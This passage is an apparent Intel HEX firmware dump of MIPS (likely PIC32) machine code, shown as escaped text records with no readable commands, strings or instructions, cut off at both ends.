n:1066c0001800c28f04004010000000001800c28fa4\n:1066d000ffff42241800c2af1800c28fff004230f3\n:1066e0002118400080bf023c305e43ac21e8c0036b\n:1066f0002400bf8f2000be8f2800bd270800e003c4\n:1067000000000000b0ffbd274c00bfaf4800beaf87\n:106710004400b0af21f0a003508080a3518080a33b\n:10672000388180af3c8180a388bf033ce0606294e5\n:1067300001000424444a827ce06062a489d9400fad\n:10674000000000001e000424e4d8400f00000000f8\n:1067500088bf033ce060629401000424444a827cc8\n:10676000e06062a41000c0a7e2d9400b0000000066\n:10677000ff0004240ad9400f000000001000c29757\n:10678000010042241000c2a71000c2970a00422c48\n:10679000f7ff401400000000640002241000c2a7ac\n:1067a00088bf033ce060629401000424444a827c78\n:1067b000e06062a4ff0004240ad9400f000000003a\n:1067c00088bf033ce0606294444a027ce06062a4bb\n:1067d0001000c297ffff42241000c2a71c00c2276e\n:1067e00021204000212800002130000031d5400f39\n:1067f000000000001c00c39301000224040062108a\n:10680000000000001000c297e5ff401400000000e7\n:106810001000c2972a0040140000000088bf033c0b\n:10682000e060629401000424444a827ce06062a437\n:10683000ff0004240ad9400f0000000088bf033c79\n:10684000e0606294444a027ce06062a43800c2279f\n:1068500021204000050005242130000031d5400fe3\n:10686000000000003800c38f3c00c28f1c00c3af83\n:106870002000c2af3800c22721204000212800009c\n:106880002130000031d5400f000000003800c38fd8\n:106890003c00c28f1c00c3af2000c2af1c00c393da\n:1068a0000100022406006210000000000200022421\n:1068b000508082a3508082275edb400b00000000e6\n:1068c0003800c2272120400002000524aa01062426\n:1068d00031d5400f000000003800c38f3c00c28f4c\n:1068e0001c00c3af2000c2af2000c28fff0f433097\n:1068f000aa0102244a006214000000001c00c28f9a\n:106900000400423046004014000000003800c22756\n:1069100021204000100005242130000031d5400f17\n:10692000000000003800c38f3c00c28f1c00c3afc2\n:106930002000c2af1000c0a768da400b00000000c2\n:106940003800c227212040000f000524213000001c\n:1069500031d5400f000000003800c2272120400040\n:10696000120005240040063c31d5400f0000000015\n:106970003800c38f3c00c28f1c00c3af2000c2afe1\n:106980001c00c29303004014000000006cda400bae\n:10699000000000001000c297010042241000c2a7ae\n:1069a0001000c397ffff0234e5ff621400000000ef\n:1069b0001000c397ffff02340300621400000000c0\n:1069c00002000224508082a33800c2272120400008\n:1069d000100005242130000031d5400f00000000d8\n:1069e0003800c38f3c00c28f1c00c3af2000c2af71\n:1069f0002000c38f0040023c2410620005004010bc\n:106a000000000000010002243c8182a3b4da400ba4\n:106a1000000000003c8180a3b4da400b00000000bd\n:106a200088bf033ce060629401000424444a827cf5\n:106a3000e06062a401000424e4d8400f00000000dc\n:106a400088bf033ce0606294444a027ce06062a438\n:106a50003c8180a3ff1f02241000c2a73800c22778\n:106a600021204000010005242130000031d5400fd5\n:106a7000000000003800c38f3c00c28f1c00c3af71\n:106a80002000c2af1000c297ffff42241000c2a72f\n:106a90001c00c29304004010000000001000c297c8\n:106aa000eeff4014000000001000c29708004014e0\n:106ab0000000000002000224508082a388bf033c33\n:106ac000e060629401000424444a827ce06062a495\n:106ad00088bf033ce060629401000424444a827c45\n:106ae000e06062a43e00042439d9400f0000000099\n:106af00088bf033ce0606294444a027ce06062a488\n:106b0000140002241000c2a73800c2272120400030\n:106b1000030005242130000031d5400f00000000a3\n:106b20003800c38f3c00c28f1c00c3af2000c2af2f\n:106b30001000c297ffff42241000c2a71c00c2939e\n:106b400004004010000000001000c297eeff401447\n:106b5000000000001000c2970b004014000000006d\n:106b600002000224508082a388bf033ce06062944c\n:106b700001000424444a827ce06062a450808227a1\n:106b80005edb400b000000001300c0a31200c0a396\n:106b9000fbda400b000000001300d09323d9400f14\n:106ba00000000000211840001000c22721105000f2\n:106bb000140043a01300c293010042241300c2a397\n:106bc0001200c29306004014000000002400c3938a\n:106bd000fe00022402006214000000001300c0a3a3\n:106be0001200c293010042241200c2a31200c293f9\n:106bf0001400422ce8ff40140000000000020224b0\n:106c00003e8182a700020224528082a75180829393\n:106c1000010003240400627c518082a32400c293fb\n:106c2000c000423011004010000000002b00c29351\n:106c30003f004230001c02002c00c29300120200f0\n:106c4000251862002d00c293251062001400c2af07\n:106c50001400c28f0100422480120200ffff422470\n:106c6000388182af4bdb400b000000002a00c2934a\n:106c7000001c02002b00c2930012020025186200c3\n:106c80002c00c293251062001400c2af1400c38f01\n:106c90000300023cc0ff4234241062001400c2af63\n:106ca0001400c28f821102001400c2af2d00c293e3\n:106cb00003004230ff00423040100200ff0043302a\n:106cc0002e00c293c2110200ff0042302510620064\n:106cd0001800c2a32900c2930f0042301900c2a3ba\n:106ce0001900c293f7ff422401000324041043005b\n:106cf0001900c2a31400c28f010043241800c293dc\n:106d0000020042240100042404104400ffff42302a\n:106d1000180062001900c2931218000018006200e7\n:106d200012180000ffff6224388182af3800c227aa\n:106d300021204000110005242130000031d5400ff2\n:106d4000000000003e8182973800c32721206000a8\n:106d5000070005242130400031d5400f000000001d\n:106d600088bf033ce060629401000424444a827cb2\n:106d7000e06062a45080822721e8c0034c00bf8fee\n:106d80004800be8f4400b08f5000bd270800e003cc\n:106d900000000000e8ffbd271400bfaf1000beaf29\n:106da00021f0a0031800c4af1800c48f1fff400fcc\n:106db0000000000021e8c0031400bf8f1000be8f48\n:106dc0001800bd270800e00300000000c0ffbd2739\n:106dd0003c00bfaf3800beaf21f0a0034000c4affd\n:106de0004400c5af1000c227212040004400c58fd9\n:106df000e1db400f0000000009004010000000002f\n:106e00004000c48f1000c22721284000280006241b\n:106e100047b9400f0000000089db400b0000000074\n:106e20002110000021e8c0033c00bf8f3800be8f56\n:106e30004000bd270800e00300000000e8ffbd2778\n:106e40001400bfaf1000beaf21f0a0031800c4af04\n:106e50001c00c5af1800c48f1c00c58fa9db400ff4\n:106e60000000000008004010000000001800c48f5f\n:106e70001800c58f4000062447b9400f00000000ed\n:106e8000a3db400b000000002110000021e8c0033c\n:106e90001400bf8f1000be8f1800bd270800e0034c\n:106ea00000000000a8ffbd275400bfaf5000beafd8\n:106eb0004c00b0af21f0a0035800c4af5c00c5afd8\n:106ec0005c00c48f7b4b410f000000000b00422c84\n:106ed000040040140000000021100000dadb400b29\n:106ee000000000001000c2272120400030000524cf\n:106ef0000a0006247152410f000000005c00c48f9c\n:106f00007b4b410f000000000a00032423106200a5\n:106f10001000c327218062005c00c48f7b4b410faf\n:106f200000000000212000025c00c58f21304000dd\n:106f3000214b410f000000001c00c227212040000f\n:106f40001000c22721284000cbb8400f00000000ed\n:106f50001c00c2275800c48f212840008bdc400f42\n:106f6000000000000100022421e8c0035400bf8f8c\n:106f70005000be8f4c00b08f5800bd270800e003c2\n:106f800000000000e0ffbd271c00bfaf1800beaf2f\n:106f900021f0a0032000c4af2400c5af1400c0a39b\n:106fa0001500c0a31600c0a31700c0a300a0023c98\n:106fb000dc1c44242400c58fcbb8400f0000000027\n:106fc00004004014000000002110000085dc400b8c\n:106fd000000000001000c0a306dc400b0000000011\n:106fe0001000c39300a0023cdc1c4224211062006c\n:106ff0000000439001000224040062100000000021\n:107000002110000085dc400b000000001000c2933e\n:10701000010042241000c2a31000c2930900422cb8\n:10702000efff4014000000001000c0a338dc400b4c\n:10703000000000001000c293801002002000c38fe7\n:10704000212062001000c393211060008010020014\n:10705000211043000900432400a0023cdc1c422410\n:10706000211062002128400004000624214b410f1a\n:10707000000000001000c293801002002000c38fa7\n:107080002110620021204000212800000400062475\n:10709000e3bc400f00000000212040001000c3931b\n:1070a0002110600080100200211043000d004324d5\n:1070b00000a0023cdc1c422421106200000042902f\n:1070c00004008210000000002110000085dc400b4d\n:1070d000000000001000c293010042241000c2a36f\n:1070e0001000c2930a00422cd2ff4014000000009e\n:1070f0001000c0a35ddc400b000000001100c0a325\n:1071000056dc400b000000001100c2931100c39335\n:107110001000c42721188300040064901000c3935a\n:10712000802803001100c3932118a3002000c58ffd\n:107130002118a3000000639021188300ff00633032\n:107140001000c42721108200040043a01100c29344\n:10715000010042241100c2a31100c2930400422c7a\n:10716000e9ff4014000000001000c2930100422417\n:107170001000c2a31000c2930a00422cdfff40148b\n:10718000000000001000c0a378dc400b00000000ed\n:107190001000c2931000c327211062000400429027\n:1071a00001004230ff0043301000c2933b004424f2\n:1071b00000a0023cdc1c422421108200000042900e\n:1071c00004006210000000002110000085dc400b6c\n:1071d000000000001000c293010042241000c2a36e\n:1071e0001000c2930400422ce9ff4014000000008c\n:1071f00000a0023cdc1c42243f00429004004010ee\n:10720000000000002110000085dc400b00000000a1\n:107210000100022421e8c0031c00bf8f1800be8fac\n:107220002000bd270800e00300000000e0ffbd27ac\n:107230001c00bfaf1800beaf21f0a0032000c4aff8\n:107240002400c5af1400c0a31500c0a31600c0a33e\n:107250001700c0a32000c48f0100052409000624e4\n:107260007152410f000000002000c28f090042242b\n:107270002000c2af1000c0a3d2dc400b0000000011\n:107280001200c0a31200c2931100c2a3c3dc400bc2\n:10729000000000002400c28f000043902000c28f35\n:1072a000000043a02400c28f000043901200c2934c\n:1072b000211062001200c2a31100c2931100c393f7\n:1072c0001000c42721188300040064902400c38f99\n:1072d0000000639021188300ff0063301000c42772\n:1072e00021108200040043a01100c2930100422437\n:1072f0001100c2a32400c28f010042242400c2afa7\n:107300002000c28f010042242000c2af1100c293ae\n:107310000400422cdfff4014000000001200c29362\n:1073200001004230ff0043302000c28f000043a024\n:107330001000c293010042241000c2a32000c28f9b\n:10734000010042242000c2af1000c2930a00422c68\n:10735000cbff4014000000001000c0a3e7dc400b8e\n:10736000000000001000c2931000c327211062002b\n:107370000400429001004230ff0043302000c28fe1\n:10738000000043a01000c293010042241000c2a3d9\n:107390002000c28f010042242000c2af1000c2931f\n:1073a0000400422cefff4014000000002000c28fb8\n:1073b000000040a021e8c0031c00bf8f1800be8f52\n:1073c0002000bd270800e0030000000060ffbd278b\n:1073d0009c00bfaf9800beaf21f0a003a000c4afd7\n:1073e0002110a000a800c6afac00c7afa400c2a384\n:1073f0002c00c22721204000a000c58f574a410f12\n:1074000000000000a400c383ffff022421006210db\n:1074100000000000a400c2836800c3272120600090\n:10742000212840000400062430b6400f0000000070\n:107430006800c22721204000040005248fbc400fb3\n:10744000000000006c00c0a36d00c0a36800c2274c\n:10745000212040002128000006000624e3bc400f44\n:10746000000000006e00c2a3a000c48f7b4b410f40\n:10747000000000002c00c327211862006800c2270a\n:107480002120600021284000070006248eba400f0a\n:1074900000000000a800c28f230040100000000080\n:1074a0006800c22721204000ac00c58fcbb8400f38\n:1074b000000000006800c2272120400020000524b1\n:1074c0008fbc400f000000002c00c227212040008c\n:1074d0007b4b410f000000002800c2a32800c2938c\n:1074e0002c00c327211862006800c22721206000f9\n:1074f00021284000bdde400f000000002800c2939c\n:107500002c00c327211862002800c2932c00c42736\n:107510002110820021206000212840002d00062437\n:107520008eba400f0000000088bf023c2061428cf0\n:1075300002004230200040100000000000a0023c89\n:10754000dc5642249c00428c4218020000a0023cff\n:10755000dc5642249c00428c030004242128600055\n:107560002130400008000724b20b410f000000004a\n:1075700000a0023cdc5642249c00438c00a0023c4c\n:10758000dc564224f000428c1800620012200000f9\n:107590009000c4afeb51023c1f8542349000c38f72\n:1075a000190062001010000042110200212040006a\n:1075b000240e410f000000002c00c22721204000b3\n:1075c000d7dd400f00000000040040140000000060\n:1075d00021100000d1dd400b00000000b000c28f80\n:1075e0000500401000000000350002242800c2a35e\n:1075f00080dd400b00000000080002242800c2a328\n:10760000b800c28f150040100000000000a0023c2e\n:10761000dc564224f800438cb800c28f2118620067\n:1076200000a0023cdc5642249c00428c1800620000\n:10763000122000009000c4afeb51023c1f85423481\n:107640009000c38f19006200101000004211020068\n:1076500021204000240e410f0000000000a0023c49\n:10766000dc5642249c00448c00a0023cdc564224a0\n:10767000a400458c2800c29300a0033cdc56632480\n:10768000bc0063902138600000a0033cdc566324fa\n:107690008c00668c2c00c32700a0083c9957082555\n:1076a0001000a8af1400a7af1800a6af0100062471\n:1076b0001c00a6af2000a0af2130600021384000a0\n:1076c0008dff400f00000000211840002800c293e9\n:1076d0001b006214000000002c00c2272120400083\n:1076e000059d023c88064524080006240954410fe4\n:1076f0000000000004004010000000002110000005\n:10770000d1dd400b00000000b000c28f0900401026\n:10771000000000002c00c22708004224b400c48fdf\n:10772000212840001cdf400f00000000d1dd400b8d\n:107730000000000001000224d1dd400b0000000029\n:107740002110000021e8c0039c00bf8f9800be8f6d\n:10775000a000bd270800e00300000000e8ffbd27ef\n:107760001400bfaf1000beaf21f0a0031800c4afdb\n:1077700001000424e30d410f00000000eedd400b8a\n:107780000000000021200000e30d410f0000000078\n:107790002118400000a0023cdc5642248c00428ca0\n:1077a0002b104300040040100000000021100000d6\n:1077b00041de400b0000000088bf023cd060428cdc\n:1077c00000014230efff40140000000002de400bd9\n:1077d0000000000021200000e30d410f0000000028\n:1077e0002118400000a0023cdc5642248c00428c50\n:1077f0002b10430004004010000000002110000086\n:1078000041de400b0000000088bf023cd060428c8b\n:1078100000014230efff40100000000000a0023cd9\n:10782000dc564224e000428c212040000100052467\n:10783000820c410f0000000000a0023cdc564224f4\n:10784000e400428c21204000ac0c410f00000000fd\n:1078500037de400b000000001800c28f000043908c\n:1078600031000224090062140000000000a0023c64\n:10787000dc564224e800428c21204000ac0c410f31\n:107880000000000034de400b00000000040004246f\n:10789000ac0c410f0000000000a0023cdc5642246a\n:1078a000e400428cfcff422421204000010005241a\n:1078b000820c410f0000000000a0023cdc56422474\n:1078c000e400428c21204000ac0c410f000000007d\n:1078d0001800c28f010042241800c2af1800c28fe6\n:1078e00000004290dcff40140000000000a0023cb9\n:1078f000dc564224f400428c21204000ac0c410fa5\n:107900000000000021e8c0031400bf8f1000be8fec\n:107910001800bd270800e00300000000e8ffbd27b5\n:107920001400bfaf1000beaf21f0a0031800c4af19\n:107930001800c48f01000524a3de400f00000000e2\n:1079400021e8c0031400bf8f1000be8f1800bd27b0\n:107950000800e00300000000d8ffbd272400bfafef\n:107960002000beaf21f0a0031000a0af1400a0af14\n:107970001800a0af059d023ce0064424ffff05244b\n:1079800001000624059d023ce8064724f3dc400f75\n:107990000000000021e8c0032400bf8f2000be8f3c\n:1079a0002800bd270800e00300000000b0ffbd274d\n:1079b0004c00bfaf4800beaf21f0a00321108000f3\n:1079c0005400c5af5800c6af5000c2a35000c283d8\n:1079d0001000a0af1400a0af3c0503241800a3af13\n:1079e000059d033cf4066424212840000100062480\n:1079f0005400c78ff3dc400f000000002000c2af2e\n:107a00005800c28f0400401400000000010002244e\n:107a10009dde400b000000005000c2932400c327ed\n:107a20002120600021284000a3de400f000000005c\n:107a30000400401400000000211000009dde400bf7\n:107a4000000000002400c227212040005400c58f00\n:107a5000080006240954410f0000000004004010f3\n:107a600000000000211000009dde400b000000001f\n:107a70000100022421e8c0034c00bf8f4800be8fe4\n:107a80005000bd270800e00300000000d8ffbd271c\n:107a90002400bfaf2000beaf21f0a0032800c4af78\n:107aa0002110a0002c00c2a32c00c28301000324db\n:107ab0001000a3af2800c38f1400a3af1800a0af1d\n:107ac000059d033cfc066424212840002130000071\n:107ad00021380000f3dc400f0000000021e8c00363\n:107ae0002400bf8f2000be8f2800bd270800e003c0\n:107af00000000000e8ffbd271400beaf21f0a00386\n:107b00001800c4af1c00c5af0400c0a30500c0a38b\n:107b10000600c0a30700c0a30800c0a30900c0a3bb\n:107b20000a00c0a30b00c0a30000c0a3fdde400bf1\n:107b3000000000000200c0a30200c2930100c2a323\n:107b4000eede400b000000001c00c28f00004390de\n:107b50001800c28f000043a01c00c28f0000439099\n:107b60000200c293211062000200c2a30100c2936e\n:107b70000100c3932118c303040064901c00c38f49\n:107b80000000639021188300ff0063302110c203be\n:107b9000040043a00100c293010042240100c2a3db\n:107ba0001c00c28f010042241c00c2af1800c28f0b\n:107bb000010042241800c2af0100c2930800422c09\n:107bc000e1ff4014000000000200c29301004230b7\n:107bd000ff0043301800c28f000043a00000c29392\n:107be000010042240000c2a31800c28f01004224f9\n:107bf0001800c2af0000c2930400422ccdff401415\n:107c0000000000000000c0a311df400b00000000d6\n:107c10000000c2932110c2030400429001004230d0\n:107c2000ff0043301800c28f000043a00000c29341\n:107c3000010042240000c2a31800c28f01004224a8\n:107c40001800c2af0000c2930800422cf0ff40149d\n:107c5000000000001800c28f000040a021e8c0030f\n:107c60001400be8f1800bd270800e00300000000cc\n:107c7000b8ffbd274400bfaf4000beaf21f0a00356\n:107c80004800c4af4c00c5af1400c0a31500c0a38a\n:107c90001600c0a31700c0a31800c0a31900c0a3fa\n:107ca0001a00c0a31b00c0a31000c0a355df400be7\n:107cb000000000001000c293c01002001c00c32787\n:107cc000212062001000c39321106000c010020048\n:107cd000211043004c00c38f211062002128400076\n:107ce00008000624214b410f000000001000c29341\n:107cf000c01002001c00c327211062002120400098\n:107d00002128000008000624e3bc400f000000000a\n:107d1000212040001000c39321106000c010020019\n:107d200021104300080042244c00c38f2110620040\n:107d300000004290040082100000000021100000aa\n:107d4000acdf400b000000001000c2930100422491\n:107d50001000c2a31000c2930400422cd5ff4014af\n:107d6000000000001000c0a37adf400b00000000fc\n:107d70001100c0a373df400b000000001100c2938c\n:107d80001100c3931000c4272118830004006490dd\n:107d90001000c393c02803001100c3932118a3004f\n:107da0001000c5272118a3000c0063902118830040\n:107db000ff0063301000c42721108200040043a09c\n:107dc0001100c293010042241100c2a31100c2930a\n:107dd0000800422ce9ff4014000000001000c2938c\n:107de000010042241000c2a31000c2930400422ce0\n:107df000dfff4014000000001000c0a394df400b20\n:107e0000000000001000c2931000c3272110620080\n:107e10000400429001004230ff0043301000c29342\n:107e2000240042244c00c48f2110820000004290a4\n:107e3000040062100000000021100000acdf400bc5\n:107e4000000000001000c293010042241000c2a3f1\n:107e50001000c2930800422ceaff4014000000000a\n:107e60004c00c28f2c0042240000429004004010bd\n:107e70000000000021100000acdf400b00000000fb\n:107e80001c00c22721204000200005248fbc400f89\n:107e9000000000001c00c2274800c48f21284000b9\n:107ea0002000062447b9400f000000000100022412\n:107eb00021e8c0034400bf8f4000be8f4800bd27ab\n:107ec0000800e00300000000e0ffbd271c00bfaf7a\n:107ed0001800beaf21f0a0032000c4af2400c5af3e\n:107ee0002400c48f8db7400f000000001000c2af07\n:107ef000059d023c04074424059d023c08074524d7\n:107f00000413410f000000002400c28f00004280d3\n:107f10004d00401000000000059d023c2407442451\n:107f20002400c58f0413410f000000001000c38f10\n:107f30000700023c00fe423424106200421202009c\n:107f4000059d033c30076424212840006913410f3c\n:107f5000000000001000c28f600042304211020099\n:107f6000059d033c54076424212840006913410ff8\n:107f7000000000001000c28f600042304219020071\n:107f800000a0023c801803006872422421106200a5\n:107f90000000428c059d033c7407642421284000a6\n:107fa0000413410f000000001000c28f1e00423079\n:107fb00042100200059d033c7c07642421284000f8\n:107fc0006913410f000000001000c28f1e004230f4\n:107fd000421802000800022407006214000000009a\n:107fe000059d023c9c0744240413410f000000003f\n:107ff00010e0400b000000001000c28f1e00423055\n:108000004218020009000224070062140000000068\n:10801000059d023ca80744240413410f0000000002\n:1080200010e0400b00000000059d023cb407442412\n:108030000413410f0000000018e0400b0000000096\n:1080400018e0400b00000000059d023cc0074424de\n:10805000059d023cc80745240413410f00000000a1\n:10806000059d023cd4074424059d023cf8074524a5\n:108070000413410f000000002000c48f8db7400f93\n:10808000000000001000c2af059d023c040844241b\n:108090002000c58f0413410f000000001000c38fa3\n:1080a0000004023c24106200821602000500401009\n:1080b00000000000059d023c2808422433e0400bec\n:1080c00000000000059d023c30084224059d033c51\n:1080d00038086424212840000413410f00000000e8\n:1080e0001000c38f0001023c24106200021602003f\n:1080f0000500401000000000059d023c28084224b5\n:1081000044e0400b00000000059d023c3008422482\n:10811000059d033c58086424212840000413410fa6\n:10812000000000001000c38f8000023c2410620099\n:10813000c21502000500401000000000059d023c31\n:108140002808422455e0400b00000000059d023c39\n:1081500030084224059d033c78086424212840000f\n:108160000413410f000000001000c38f1000023cf8\n:1081700024106200021502000500401000000000fb\n:10818000059d023c2808422466e0400b00000000e8\n:10819000059d023c30084224059d033c9808642458\n:1081a000212840000413410f000000001000c38f7d\n:1081b0000400023c241062008214020005004010fa\n:1081c00000000000059d023c2808422477e0400b97\n:1081d00000000000059d023c30084224059d033c40\n:1081e000b8086424212840000413410f0000000057\n:1081f0001000c38f0300023c00c042342410620010\n:1082000082130200059d033cd80864242128400005\n:108210006913410f000000001000c28f003042308f\n:1082200002130200059d033cf80864242128400045\n:108230000413410f000000001000c28f00304230d4\n:10824000021b020000a0023c801803005872422466\n:10825000211062000000428c059d033c74076424d9\n:10826000212840000413410f000000001000c28fbd\n:10827000c003423082110200059d033c18096424aa\n:10828000212840000413410f000000001000c28f9d\n:10829000c003423082190200010002240900621466\n:1082a00000000000059d023c74074424059d023c2b\n:1082b000380945240413410f00000000c5e0400bbd\n:1082c000000000001000c28fc0034230821902007b\n:1082d000020002240900621400000000059d023c17\n:1082e00074074424059d023c440945240413410fae\n:1082f00000000000c5e0400b00000000059d023cae\n:1083000074074424059d023cc00645240413410f14\n:10831000000000001000c28f3f004230059d033c6a\n:108320004c096424212840006913410f000000001b\n:108330001000c28f3f004230010042244010020072\n:10834000059d033c6c096424212840006913410ffa\n:10835000000000000100022421e8c0031c00bf8fc0\n:108360001800be8f2000bd270800e00300000000b9\n:10837000e0ffbd271c00bfaf1800beaf21f0a00377\n:108380002000c4af2000c48f8db7400f0000000054\n:108390001000c2af00a0023cdc564224a400428c74\n:1083a0000800422c190040140000000000a0023c0c\n:1083b000dc564224a400428c4100422c13004010a1\n:1083c000000000001000c38fc0ff022424186200c8\n:1083d00000a0023cdc564224a400428cfeff422452\n:1083e000421002003f004230251062001000c2af70\n:1083f00000a0023cdc564224cc00428c0600401413\n:108400000000000013e1400b0000000021100000fc\n:1084100048e1400b0000000000a0023cdc56422472\n:10842000a000439001000224080062140000000034\n:108430001000c38f3ffc022424106200400042342d\n:108440001000c2af28e1400b0000000000a0023c79\n:10845000dc564224c400428c0e0040100000000094\n:1084600000a0023cdc564224a000439001000224fc\n:1084700008006214000000001000c38f3ffc0224bb\n:1084800024106200800042341000c2af28e1400b8b\n:10849000000000002110000048e1400b0000000037\n:1084a00000a0023cdc564224b000428c4211020083\n:1084b000050042240f00422c04004014000000007c\n:1084c0002110000048e1400b000000001000c38fa5\n:1084d000fcff023cff3f42342418620000a0023c33\n:1084e000dc564224b000428c4211020004004224b7\n:1084f0000f004230802302000300023c00c04234df\n:1085000024108200251062001000c2af2000c48f2a\n:108510001000c58f90b6400f00000000010002243b\n:1085200021e8c0031c00bf8f1800be8f2000bd27ac\n:108530000800e00300000000e8ffbd271400bfaf03\n:108540001000beaf21f0a0031800c4af2110a0009e\n:108550001c00c2a31c00c2931600432c44006010f0\n:108560000000000080180200049d023c8085422427\n:10857000211062000000428c080040000000000052\n:108580007086039dd885039d7086039d7086039d2c\n:108590007086039d7086039d7086039d7086039d83\n:1085a0007086039d0486039d0486039d7086039d4b\n:1085b0007086039d7086039d0486039d4c86039df3\n:1085c0007086039d7086039d2886039d7086039d9b\n:1085d0007086039d0486039d1800c48f059d023c90\n:1085e0007409452408000624214b410f00000000b7\n:1085f0001800c48fdce0400f000000009de1400b3c\n:10860000000000001800c48f059d023c800945242d\n:1086100008000624214b410f000000000100022445\n:108620009de1400b000000001800c48f059d023c36\n:108630007409452408000624214b410f0000000066\n:10864000010002249de1400b000000001800c48fcf\n:10865000059d023c8c09452408000624214b410f4e\n:1086600000000000010002249de1400b000000001a\n:108670002110000021e8c0031400bf8f1000be8f3e\n:108680001800bd270800e00300000000b0ffbd2770\n:108690004c00bfaf4800beaf21f0a0035000c4aff4\n:1086a0005400c5af2000c2272120400047de400f04\n:1086b0000000000004004014000000002110000031\n:1086c000cfe1400b000000005400c28f0000428048\n:1086d0000400401400000000059d023c980942245b\n:1086e0005400c2af1000a0af1400a0af1800a0af9c\n:1086f000059d023ca4094424ffff05240100062433\n:108700005400c78ff3dc400f000000000a00401047\n:10871000000000005000c28f4f000324000043a05f\n:108720004b000324010043a0020040a001000224ea\n:10873000cfe1400b000000002110000021e8c00341\n:108740004c00bf8f4800be8f5000bd270800e003db\n:1087500000000000c0ffbd273c00bfaf3800beaf27\n:1087600021f0a0034000c4af4400c5af2118c000f1\n:108770004c00c7af5400c28f4800c3a33000c2a34f\n:108780004800c29300a0033cdc5663249c00688c24\n:1087900000a0033cdc566324e000638c300004241a\n:1087a0002338830000a0033cdc566324e400668c7d\n:1087b00000a0033cdc566324e800658c00a0033c69\n:1087c000dc566324e000648c00a0033cdc56632488\n:1087d000f400638c040009241000a9af1400a8afb2\n:1087e0001800a7af1c00a0af2000a6af2400a5afc3\n:1087f0002800a4af2c00a3af4400c48f2128400060\n:108800004c00c68f01000724023c410f000000000d\n:1088100004004014000000002110000062e2400b40\n:10882000000000003000c29304004014000000006b\n:108830000100022462e2400b000000000100042459\n:10884000e30d410f0000000021e2400b000000009a\n:1088500021200000e30d410f00000000211840001e\n:1088600000a0023cdc5642248c00428c2b104300ba\n:1088700004004010000000002110000062e2400be4\n:108880000000000088bf023cd060428c00014230f2\n:10889000efff4014000000000a000224408282a37f\n:1088a00000a0023cdc5642249c00448c00a0023c08\n:1088b000dc564224a400458c3000c3935000c28f84\n:1088c000060040100000000000a0023cdc564224dc\n:1088d000bc00429038e2400b000000002110000074\n:1088e00000a0063cdc56c6248c00c68c00a0073cc9\n:1088f0009957e7241000a7af1400a2af1800a6af45\n:10890000010002241c00a2af010002242000a2af3b\n:108910004000c68f213860008dff400f000000002e\n:10892000211840003000c2931600621400000000bd\n:1089300000a0023cdc5642249c00438c00a0023c78\n:10894000dc564224f800428c18006200122000001d\n:108950003400c4afeb51023c1f8542343400c38f56\n:108960001900620010100000421102002120400096\n:10897000240e410f000000000100022462e2400bbf\n:10898000000000002110000021e8c0033c00bf8f60\n:108990003800be8f4000bd270800e0030000000043\n:1089a000b0ffbd274c00bfaf4800beaf21f0a00311\n:1089b0005000c4afc40c410f0000000000a0023cf6\n:1089c000dc5642249c00438c00a0023cdc5642242e\n:1089d000ec00428c18006200122000004000c4af7e\n:1089e000eb51023c1f8542344000c38f19006200e6\n:1089f000101000004211020021204000240e410fff\n:108a00000000000000a0023cdc5642249c00438c85\n:108a100000a0023cdc564224f000428c18006200a8\n:108a2000122000004000c4afeb51023c1f854234cd\n:108a30004000c38f190062001010000042110200b4\n:108a400021204000240e410f0000000001000224fc\n:108a50001000a2af400002241400a2af1800c227e9\n:108a600021204000059d023cf4f945240200062423\n:108a700021380000d5e1400f00000000090040103f\n:108a8000000000005000c48f1800c22721284000b9\n:108a9000574a410f0000000001000224aae2400be7\n:108aa000000000002110000021e8c0034c00bf8f2f\n:108ab0004800be8f5000bd270800e0030000000002\n:108ac000b0ffbd274c00bfaf4800beaf21f0a003f0\n:108ad0005000c4af2110a0005400c2a31900c0a3cd\n:108ae0005400c2930800422c04004014000000000f\n:108af000211000000fe3400b000000001c00c22703\n:108b00002120400021280000270006247152410f37\n:108b1000000000001c00c22721204000059d023cef\n:108b2000f8f9452402000624214b410f0000000003\n:108b30009880828f14004010000000003100022451\n:108b40001e00c2a31c00c2270300422421204000b3\n:108b500000a0023cf06a45242ab9400f0000000042\n:108b60005400c2931c00c32722006324212060000c\n:108b70002128400003000624c6b6400f0000000074\n:108b8000ece2400b00000000300002241e00c2a3f3\n:108b90005400c2931c00c3270300632421206000fb\n:108ba0002128400003000624c6b6400f0000000044\n:108bb00000a0023cdc564224d400428c1800c2a320\n:108bc00009e3400b000000001c00c22721204000e8\n:108bd0007b4b410f00000000ff0042302118400095\n:108be0001900c2931c00c5271000a0af2000042468\n:108bf0001400a4af5000c48f213060002138400021\n:108c0000d5e1400f0000000004004010000000000b\n:108c1000010002240fe3400b0000000001000224c9\n:108c20001900c2a31800c293ffff43241800c3a376\n:108c3000e5ff4014000000002110000021e8c003ff\n:108c40004c00bf8f4800be8f5000bd270800e003d6\n:108c50000000000088ffbd277400bfaf7000beafea\n:108c600021f0a003211080007c00c5af8000c6afba\n:108c70008400c7af7800c2a37800c2930800422cda\n:108c8000040040140000000021100000a6e3400b87\n:108c9000000000001c00c227212040002128000005\n:108ca000470006247152410f000000001c00c2273b\n:108cb00021204000059d023cf8f9452402000624cd\n:108cc000214b410f00000000020002241800c2a343\n:108cd0009880828f0c004010000000001800c293a2\n:108ce0001c00c327211062002120400000a0023c8c\n:108cf000f06a45242ab9400f000000001800c29312\n:108d0000200042241800c2a31800c2931c00c327ed\n:108d100021106200212040008000c58f0100062440\n:108d2000c6b6400f000000001800c29301004224a4\n:108d30001800c2a31800c2931c00c32721106200b0\n:108d4000212040007c00c58f2ab9400f00000000a0\n:108d50001800c293200042241800c2a31800c29336\n:108d60001c00c327211862007800c29321206000f4\n:108d70002128400003000624c6b6400f0000000072\n:108d80001800c293030042241800c2a31c00c2278b\n:108d9000212040007b4b410f00000000ff004230cb\n:108da0001c00c3271000a0af1400a0af21200000ba\n:108db000212860002130400021380000d5e1400f1b\n:108dc000000000000400401400000000211000001a\n:108dd000a6e3400b0000000000a0023cdc56422449\n:108de000f400428ce803432400a0023cdc564224f9\n:108df0009c00428c18006200122000006800c4af82\n:108e0000eb51023c1f8542346800c38f1900620099\n:108e1000101000004211020021204000240e410fda\n:108e2000000000008400c28f040040140000000015\n:108e300001000224a6e3400b000000007800c2936a\n:108e40001c00c3272120600021284000b0e2400f11\n:108e50000000000004004014000000002110000089\n:108e6000a6e3400b000000001c00c22721204000a8\n:108e70007c00c58f080006240954410f0000000043\n:108e8000040040100000000021100000a6e3400b89\n:108e9000000000000100022421e8c0037400bf8f1d\n:108ea0007000be8f7800bd270800e00300000000be\n:108eb00098ffbd276400bfaf6000beaf21f0a003e4\n:108ec0006800c4af1400c0af300002241100c2